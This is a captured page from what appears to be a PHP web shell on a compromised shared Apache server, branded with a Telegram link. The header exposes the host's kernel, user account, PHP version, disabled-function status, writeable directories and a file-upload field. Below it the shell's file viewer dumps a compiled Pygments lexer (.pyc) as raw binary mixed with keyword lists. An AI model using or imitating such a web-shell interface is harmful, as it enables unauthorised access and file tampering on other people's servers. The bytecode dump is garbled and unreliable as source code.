https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/c_like.cpython-310.pyc
o

���a�q�@s0dZddlZddlmZmZmZmZmZmZddl	m
Z
mZmZm
Z
mZmZmZmZmZddlmZmZddlmZgd�ZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Z Gdd�de�Z!Gdd�de�Z"Gdd�de�Z#dS)z�
    pygments.lexers.c_like
    ~~~~~~~~~~~~~~~~~~~~~~

    Lexers for other C-like languages.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�include�bygroups�inherit�words�default)	�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�
Whitespace)�CLexer�CppLexer)�
_mql_builtins)�	PikeLexer�	NesCLexer�	ClayLexer�ECLexer�	ValaLexer�	CudaLexer�	SwigLexer�MqlLexer�ArduinoLexer�CharmciLexer�OmgIdlLexerc@speZdZdZdZdgZddgZdgZeddd	�e	fd
e	j
fdee	e�dfd
e
fegdejdfdedfgd�ZdS)rz[
    For `Pike <http://pike.lysator.liu.se/>`_ source code.

    .. versionadded:: 2.0
    �Pike�pikez*.pikez*.pmodztext/x-pike)=�catch�new�private�	protected�public�gauge�throw�throws�class�	interface�	implement�abstract�extends�from�this�super�constant�final�static�import�use�extern�inline�proto�break�continue�if�else�for�while�do�switch�case�as�in�version�return�true�false�null�__VERSION__�	__MAJOR__�	__MINOR__�	__BUILD__�__REAL_VERSION__�__REAL_MAJOR__�__REAL_MINOR__�__REAL_BUILD__�__DATE__�__TIME__�__FILE__�__DIR__�__LINE__�__AUTO_BIGNUM__�__NT__�__PIKE__�__amigaos__�_Pragma�
static_assert�defined�sscanf�\b��suffixz�(bool|int|long|float|short|double|char|string|object|void|mapping|array|multiset|program|function|lambda|mixed|[a-z_][a-z0-9_]*_t)\b�(class)(\s+)�	classnamez[~!%^&*+=|?:<>/@-]�[a-zA-Z_]\w*�#popz\s*(?=>))�
statementsrbN)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypesrr�Typerrr
rr�Class�tokens�rqrq�8/usr/lib/python3/dist-packages/pygments/lexers/c_like.pyrs,	�
���
�
�rc@sNeZdZdZdZdgZdgZdgZdeddd	�e	fed
dd	�e	j
fegiZdS)rz
    For `nesC <https://github.com/tinyos/nesc>`_ source code with preprocessor
    directives.

    .. versionadded:: 2.0
    �nesC�nescz*.ncztext/x-nescsrcre)r,rB�async�atomic�call�command�	component�
components�
configuration�eventr-�generic�implementation�includesr*�moduler"�norace�post�provides�signal�task�usesr^r_)
�	nx_struct�nx_union�	nx_int8_t�
nx_int16_t�
nx_int32_t�
nx_int64_t�
nx_uint8_t�nx_uint16_t�nx_uint32_t�nx_uint64_tN)
rfrgrhrirjrkrlrmrrrnrrprqrqrqrrrBs(������rc@s�eZdZdZdZdgZdgZdgZdefde	j
fde	jfd	efd
e
fdefdejfd
ejfdejfdefdedfdedfgdejfdefgdefgdedfed�gdedfed�ed�gd�ZdS)rzT
    For `Clay <http://claylabs.com/clay/>`_ source.

    .. versionadded:: 2.0
    �Clayz*.clay�clayztext/x-clay�\s+z//.*?$�/(\\\n)?[*](.|\n)*?[*](\\\n)?/aK\b(public|private|import|as|record|variant|instance|define|overload|default|external|alias|rvalue|ref|forward|inline|noinline|forceinline|enum|var|and|or|not|if|else|goto|return|while|switch|case|break|continue|for|in|true|false|try|catch|throw|finally|onerror|staticassert|eval|when|newtype|__FILE__|__LINE__|__COLUMN__|__ARG__)\bz[~!%^&*+=|:<>/-]z[#(){}\[\],;.]z0x[0-9a-fA-F]+[LlUu]*z
\d+[LlUu]*z\b(true|false)\bz(?i)[a-z_?][\w?]*z"""�tdqs�"�dqsz(?i)\\(x[0-9a-f]{2}|.)�.�\nrd�strings�nl)�rootr�r�r�r�N)rfrgrhrirjrlrkrmrr	�Single�	Multilinerr
rr�Hex�Integerr�Builtinr
�Escaperrprqrqrqrrr_sD������
�rc@sheZdZdZdZdgZddgZddgZded	d
d�e	fedd
d�e	j
fd
ee	e�dfde
jfegiZdS)rzU
    For eC source code with preprocessor directives.

    .. versionadded:: 1.5
    �eC�ecz*.ecz*.ehztext/x-echdrztext/x-ecsrcre)+�virtualr)r#r%�propertyr4�deleter"�new0�renew�renew0�define�get�set�remote�	dllexport�	dllimport�stdcall�subclass�__on_register_module�	namespace�using�typed_object�
any_object�incref�register�watch�stopwatching�firewatchers�	watchable�class_designer�class_fixed�class_no_expansion�isset�class_default_property�property_category�
class_data�class_property�	thisclass�dbtable�dbindex�
database_open�dbfieldr^r_)�uint�uint16�uint32�uint64�bool�byte�unichar�int64rarbz(null|value|this)\bN)rfrgrhrirjrkrlrmrrrnrrrr�rrprqrqrqrrr�s,	�	�
����rc@s�eZdZdZdZddgZddgZdgZdej	d	fd
e
fde
fdefd
ejfdej
fgdedfdejfdefdejfdejfdejfdejfdejfdefdeeeje�fdeeej�fdefeddd�efeddd�ejfd eeje
�d!fd"eeje
�d#fd$eeej�fed%dd�ejfd&ej fd'efge!d(�e"d)�ge!d(�e!d*�d+efd,ed-fgd.ed-fd/ej#fd0efdefd1efgd2ej	d3fd4ej	d-fd5ej	d-fd6efgd'ej$d-fgd7ejd-fgd8�Z%d9S):rzW
    For Vala source code with preprocessor directives.

    .. versionadded:: 1.1
    �Vala�vala�vapiz*.valaz*.vapiztext/x-valaz^\s*#if\s+0�if0r�r�z\\\nz//(\n|(.|\n)*?[^\\]\n)r�z[L@]?"�stringz4L?'(\\.|\\[0-7]{1,3}|\\x[a-fA-F0-9]{1,2}|[^\\\'\n])'z
(?s)""".*?"""z%(\d+\.\d*|\.\d+|\d+)[eE][+-]?\d+[lL]?z(\d+\.\d*|\.\d+|\d+[fF])[fF]?z0x[0-9a-fA-F]+[Ll]?z0[0-7]+[Ll]?z\d+[Ll]?z[~!%^&*+=|?:<>/-]z2(\[)(Compact|Immutable|(?:Boolean|Simple)Type)(\])z$(\[)(CCode|(?:Integer|Floating)Type)z
[()\[\],.])!rB�baser9rAr!�	constructr:rr�r?r<�enum�finallyr=�foreachr�r;rC�is�lockr"�out�paramsrEr��sizeofr@r/r'�try�typeofr>�yieldr^r_)r,�const�delegate�dynamic�ensuresr6r7�internal�override�ownedr#r$r%�ref�requiresr�r3r(�unowned�varr��volatile�weak�yieldsz(namespace|using)(\s+)r�z)(class|errordomain|interface|struct)(\s+)r)z(\.)([a-zA-Z_]\w*))�voidr��char�double�float�int�int8�int16�int32r��long�short�size_t�ssize_tr��time_t�ucharr��uint8r�r�r��ulongr��ushortz(true|false|null)\brc�
whitespace�	statementrez[{}]�;rdr�z/\\([\\abfnrtv"\']|x[a-fA-F0-9]{2,4}|[0-7]{1,3})z	[^\\"\n]+z\\z^\s*#if.*?(?<!\\)\n�#pushz^\s*#el(?:se|if).*\nz^\s*#endif.*?(?<!\\)\nz.*?\nz[a-zA-Z_][\w.]*)rrer�rr�r�r)r�N)&rfrgrhrirjrkrlrmr	�Preprocrrr�r�r
�Charr�Floatr��Octr�r
rrr�	Decoratorrr�Declaration�	Namespace�	Attributernr�rrr�rorprqrqrqrrr�s�
�	��
�������
����/���


�
�
�
�rc@sbeZdZdZdZddgZddgZdgZhd�Zhd	�Z	hd
�Z
hd�Zhd�Zd
dhZ
dd�ZdS)ru|
    For NVIDIA `CUDA™ <http://developer.nvidia.com/category/zone/cuda-zone>`_
    source.

    .. versionadded:: 1.6
    �CUDAz*.cuz*.cuh�cuda�cuztext/x-cuda>�__host__�
__device__�
__global__�__noinline__�__forceinline__>r�
__shared__�__constant__�__restrict__>+�dim3�int1�int2�int3�int4�char1�char2�char3�char4�long1�long2�long3�long4�uint1�uint2�uint3�uint4�float1�float2�float3�float4�short1�short2�short3�short4�uchar1�uchar2�uchar3�uchar4�ulong1�ulong2�ulong3�ulong4�double1�double2�ushort1�ushort2�ushort3�ushort4�	longlong1�	longlong2�
ulonglong1�
ulonglong2>�gridDim�blockDim�blockIdx�warpSize�	threadIdx>�
__syncthreads�
__threadfence�__syncthreads_or�__syncthreads_and�__syncthreads_count�__threadfence_block�__threadfence_systemz<<<z>>>ccs��t�||�D]D\}}}|turE||jvrtj}n,||jvr"tj}n#||jvr+tj}n||j	vr4tj
}n||jvr=tj}n||j
vrEtj}|||fVqdS�N)r�get_tokens_unprocessedr�variable_qualifiersrrn�vector_types�	variablesr��execution_confs�Pseudo�function_qualifiers�Reserved�	functions�Function��self�text�index�token�valuerqrqrrrS3s"�





�z CudaLexer.get_tokens_unprocessedN)rfrgrhrirjrlrkrmrYrTrUrVr[rWrSrqrqrqrrrsrc@sfeZdZdZdZdgZddgZdgZdZde	fe
gd	e	jfde	fd
ej
fe
gd�Zhd�Zd
d�ZdS)rzT
    For `SWIG <http://www.swig.org/>`_ source code.

    .. versionadded:: 2.0
    �SWIG�swigz*.swgz*.iz	text/swigg{�G�z�?z\$\**\&?\w+z(%[a-z_][a-z0-9_]*)z##*[a-zA-Z_]\w*)r�re>R�%arg�%bang�%init�%warn�%apply�%begin�%clear�%types�%csenum�%define�%delete�%enddef�%extend�%header�%ignore�%import�%inline�%insert�%kwargs�%module�%nspace�%pragma�%rename�%shadow�%sizeof�%catches�%csconst�%default�%defined�%feature�%include�%luacode�%mutable�%typemap�%varargs�	%callback�	%constant�	%copyctor�	%director�	%fragment�	%implicit�	%javaenum�	%perlcode�	%template�
%attribute�
%delobject�
%exception�
%fragments�
%immutable�
%javaconst�
%newobject�
%pythonabc�
%refobject�
%typecheck�%descriptor�%ignorewarn�%naturalvar�%pythoncode�%shared_ptr�%warnfilter�%defaultctor�%defaultdtor�%ifcplusplus�%unrefobject�
%csconstvalue�
%exceptionvar�
%implicitconv�
%pythonappend�
%trackobjects�%javaexception�%pythondynamic�%pythonprepend�%exceptionclass�%javaconstvalue�%pythoncallback�%pythonmaybecall�%nestedworkaround�%pythonnondynamic�%csmethodmodifiers�%csnothrowexception�%javamethodmodifiers�%extend_smart_pointercCs:d}t�d|tj�}|D]}|tjvrd}|Sd}q|S)Nrz^\s*(%[a-z_][a-z0-9_]*)g\��(\�?g��Q��?)�re�findall�Mr�swig_directives)r_�rv�matches�mrqrqrr�analyse_textxs
�zSwigLexer.analyse_textN)rfrgrhrirjrkrlrm�priorityrrr\r	rrpr�r�rqrqrqrrrEs$���rc
@s�eZdZdZdZgd�Zgd�ZdgZdee	j
dd�efee	jdd�ej
fee	jdd�ejfee	jdd�ejfee	jd	dd
�ejfegiZdS)rz�
    For `MQL4 <http://docs.mql4.com/>`_ and
    `MQL5 <http://www.mql5.com/en/docs>`_ source code.

    .. versionadded:: 2.0
    �MQL)�mql�mq4�mq5�mql4�mql5)z*.mq4z*.mq5z*.mqhz
text/x-mqlrer^r_z(clr)?��prefixr`N)rfrgrhrirjrkrlrmrr�keywordsr�c_typesrn�typesrr\�	constants�Constant�colorsrrprqrqrqrrr�s"���rc@sVeZdZdZdZdgZdgZdgZddhZhd�Z	hd	�Z
hd
�Zhd�Zdd
�Z
dS)ru�
    For `Arduino(tm) <https://arduino.cc/>`_ source.

    This is an extension of the CppLexer, as the Arduino® Language is a superset
    of C++

    .. versionadded:: 2.1
    �Arduino�arduinoz*.inoztext/x-arduino�setup�loop>�or�and�not�xor>Y�unsigned int�
unsigned char�
unsigned long�LOWr��HIGH�autor�r�r�r�r�rFr��word�INPUT�_Bool�arrayr)r�rGr�r��union�OUTPUTr
r�r�r6�friendr7�int8_tr%�signedr�r3r��struct�PROGMEM�boolean�complex�int16_t�int32_t�int64_tr#�typedef�uint8_tr��EXTERNAL�INTERNAL�_Complex�explicit�operatorr��uint16_t�uint32_t�uint64_t�unsignedr�r$�
_Imaginary�
atomic_int�
const_cast�INTERNAL1V1�LED_BUILTIN�SYSEX_START�atomic_bool�atomic_char�atomic_long�atomic_uint�static_cast�INPUT_PULLUP�INTERNAL2V56�SET_PIN_MODE�SYSTEM_RESET�atomic_llong�atomic_schar�atomic_short�atomic_uchar�atomic_ulong�dynamic_cast�
REPORT_ANALOG�
atomic_ullong�
atomic_ushort�ANALOG_MESSAGE�FIRMATA_STRING�REPORT_DIGITAL�DIGITAL_MESSAGE�reinterpret_cast>W�SD�GSM�SPI�TFT�abs�bit�cos�endr��map�max�min�pow�put�run�sin�tan�File�GPRS�RSSI�SSID�Task�WiFi�Wire�beep�fill�find�home�line�move�open�peek�read�rect�seek�size�sqrt�step�stopr_�tone�turn�Audio�BSSID�Mouse�Servo�begin�blink�clear�click�close�delay�flush�image�isPIN�mkdir�point�press�print�ready�rmdir�width�writer��Bridge�Client�EEPROM�FileIO�GSMPIN�IRread�PImage�Serial�Server�Stream�attach�bitSet�buffer�circle�config�cursor�detach�endSMS�exists�getKey�height�listen�micros�millis�noFill�noTone�random�remove�setDNS�stroke�Console�Esplora�Firmata�GSMBand�GSM_SMS�Mailbox�Process�Stepper�USBHost�WiFiUDP�beginSD�bitRead�connect�display�drawBMP�getBand�getIMEI�isAlpha�isAscii�isDigit�isGraph�isPunct�isSpace�isValid�localIP�lowByte�noBlink�pinMode�pointTo�prepare�println�process�pulseIn�readRed�release�running�setBand�setMode�shiftIn�Ethernet�GSMModem�Keyboard�attached�beginSMS�beginTFT�bitClear�bitWrite�checkPIN�checkPUK�checkReg�endWrite�hangCall�highByte�knobRead�maintain�noBuffer�noCursor�noStroke�overflow�parseInt�playFile�position�readBlue�remoteIP�setSpeed�shiftOut�shutdown�transfer�updateIR�writeRGB�writeRed�	GSMClient�	GSMServer�	IPAddress�	Scheduler�	YunClient�	YunServer�	available�	changePIN�	connected�	constrain�	endPacket�	exitValue�	findUntil�	gatewayIP�	getButton�	getOemKey�	getResult�	getSocket�	isControl�	isPressed�	loadImage�	noDisplay�	onReceive�	onRequest�	pauseMode�	readBytes�	readGreen�	sendSysex�	setCursor�	startLoop�	switchPIN�	tuneWrite�	voiceCall�	writeBlue�	writeJSON�
EsploraTFT�
FileSystem�
GSMScanner�
HttpClient�
RobotMotor�
WiFiClient�
WiFiServer�
analogRead�
answerCall�
attachGPRS�
autoscroll�
background�
beginWrite�
createChar�
debugPrint�
disconnect�
getPINUsed�
getXChange�
getYChange�
interrupts�
keyPressed�
macAddress�
motorsStop�
mouseMoved�
parseFloat�
playMelody�
randomSeed�
readButton�
readSlider�
readString�
releaseAll�
remotePort�
sendAnalog�
sendString�
setPINUsed�
setTimeout�
subnetMask�
tempoWrite�
writeGreen�EthernetUDP�analogWrite�beginPacket�clearScreen�compassRead�digitalRead�drawCompass�isDirectory�isListening�isLowerCase�isPrintable�isUpperCase�keyReleased�leftToRight�motorsWrite�parsePacket�readMessage�requestFrom�rightToLeft�serialEvent�setBitOrder�setDataMode�setTextSize�GSMVoiceCall�RobotControl�addParameter�beginSpeaker�blinkVersion�cityNameRead�digitalWrite�displayLogos�getModifiers�isActionDone�isWhitespace�keyboardRead�mouseDragged�mousePressed�noAutoscroll�noInterrupts�openNextFile�parseCommand�printVersion�processInput�readNetworks�remoteNumber�scanNetworks�userNameRead�waitContinue�writeMessage�
LiquidCrystal�
cityNameWrite�
mouseReleased�
readJoystickX�
readJoystickY�
robotNameRead�
userNameWrite�EthernetClient�EthernetServer�SoftwareSerial�encryptionType�isAlphaNumeric�readBytesUntil�readMicrophone�robotNameWrite�MouseController�analogReference�attachInterrupt�countryNameRead�detachInterrupt�endTransmission�readLightSensor�readStringUntil�readTemperature�rewindDirectory�runShellCommand�setClockDivider�countryNameWrite�lineFollowConfig�messageAvailable�sendDigitalPorts�beginTransmission�delayMicroseconds�getAsynchronously�getCurrentCarrier�getSignalStrength�listenOnLocalhost�readAccelerometer�runAsynchronously�scrollDisplayLeft�writeMicroseconds�KeyboardController�getVoiceCallStatus�isHexadecimalDigit�readJoystickButton�readJoystickSwitch�scrollDisplayRight�setFirmwareVersion�noListenOnLocalhost�sendDigitalPortPair�analogReadResolution�printFirmwareVersion�analogWriteResolution�retrieveCallingNumber�runShellCommandAsynchronously>�asmr/r��typeid�alignof�mutable�decltype�noexcept�restrict�template�typename�	constexprr��thread_localr[ccs��t�||�D]J\}}}||jvr|tj|fVq||jvr%|t|fVq||jvr2|tj	|fVq||j
vr>|t|fVq||jvrK|tj|fVq|||fVqdSrR)
rrS�	structurerr��	operatorsr
rVrrZ�suppress_highlightr[r\r]rqrqrrrSs�




�z#ArduinoLexer.get_tokens_unprocessedN)rfrgrhrirjrkrlrmrsrtrVr[rurSrqrqrqrrr�s	Arc@sPeZdZdZdZdgZdgZgZddee	e
�dfed�e	fed	�e	fegiZ
d
S)rzj
    For `Charm++ <https://charm.cs.illinois.edu>`_ interface files (.ci).

    .. versionadded:: 2.4
    �Charmci�charmciz*.cir�z
(module)(\s+)rb)�
mainmodule�	mainchare�charer��group�	nodegroup�message�conditional)�entry�	aggregate�threaded�sync�	exclusive�nokeep�notrace�	immediate�	expeditedr7�local�python�accel�	readwrite�	writeonly�
accelblock�memcritical�packed�varsize�initproc�initnode�initcall�	stacksize�
createhere�
createhome�reductiontarget�iget�nocopyrk�
migratable�readonlyN)rfrgrhrirjrkrlrmrrrrrrprqrqrqrrr s"����rc@s�eZdZdZdZdgZddgZgZdZe	ddd	d
�e
fdeej
ej�dfd
eej
ejejej�fdeej
ejejej�fdeej
ej�fde
jfde
jfde
jfde
jfde
jfdefe	d�efeefdefged�dedfed�defdedfgdedfed�ed�gd eejd!fged�d"efd#ejfed$�d%edfged�e	d&dd	d
�ejfe	d'dd	d
�ejfe	d(dd)d
�eeeej �fe	d*dd	d
�efd+eeeej �d,fd-eej!eej!�fd.eejee�fd/efed�ed$�gd0�Z"d1S)2rz�
    Lexer for `Object Management Group Interface Definition Language <https://www.omg.org/spec/IDL/About-IDL/>`_.

    .. versionadded:: 2.9
    z!OMG Interface Definition Languagezomg-idlz*.idlz*.pidlz((::)?\w+)+)rFrGz(?i)r^r�z
([Ll]?)(")r�z([Ll]?)(\')(\\[^\']+)(\')z([Ll]?)(\')(\\\')(\')z([Ll]?)(\'.\')z[+-]?\d+(\.\d*)?[Ee][+-]?\d+z)[+-]?(\d+\.\d*)|(\d*\.\d+)([Ee][+-]?\d+)?z(?i)[+-]?0x[0-9a-f]+z
[+-]?[1-9]\d*z[+-]?0[0-7]*z[\+\-\*\/%^&\|~])z<<z>>z
[{};:,<>\[\]]rz\(r�values�=z\)rd�annotation_params�@�annotation_params_maybez[{,]z\w+�annotation_applz\})r�r�rCr��inoutr�)r��any�native�bitfieldr�r�r��wchar�octetr�r�r�rr�r�r�r�r�r�r�r��fixed�sequencer��wstringr)	z@annotationr�r��bitsetr*�	exception�	valuetype�	eventtyperyz
(\s+)(\w+))&r,�alias�	attributerA�	connector�consumes�context�customr�emits�factory�finder�	getraisesr.r4�manages�
mirrorport�multiple�Object�oneway�
primarykeyr#�port�porttyper�r%�	publishes�raisesr��	setraises�supportsr@�truncatablerirp�
typeprefixr��	ValueBasez(?i)(enum|bitmask)(\s+)(\w+)r�z(?i)(module)(\s+)(\w+)z
(\w+)(\s*)(=)z[\(\)])r�r�r�r�r�r�N)#rfrgrhrirjrkrlrm�scoped_namerrrr
�Affix�Doubler	r�r
r�r�rr
rrrrrr�rr
rnrrorrprqrqrqrrr>s���
�������������	���
�r)$rir��pygments.lexerrrrrrr�pygments.tokenrr	r
rrr
rrr�pygments.lexers.c_cpprr�pygments.lexersr�__all__rrrrrrrrrrrrqrqrqrr�<module>s&
 ,(3!b0B

https://t.me/RX1948 - 2025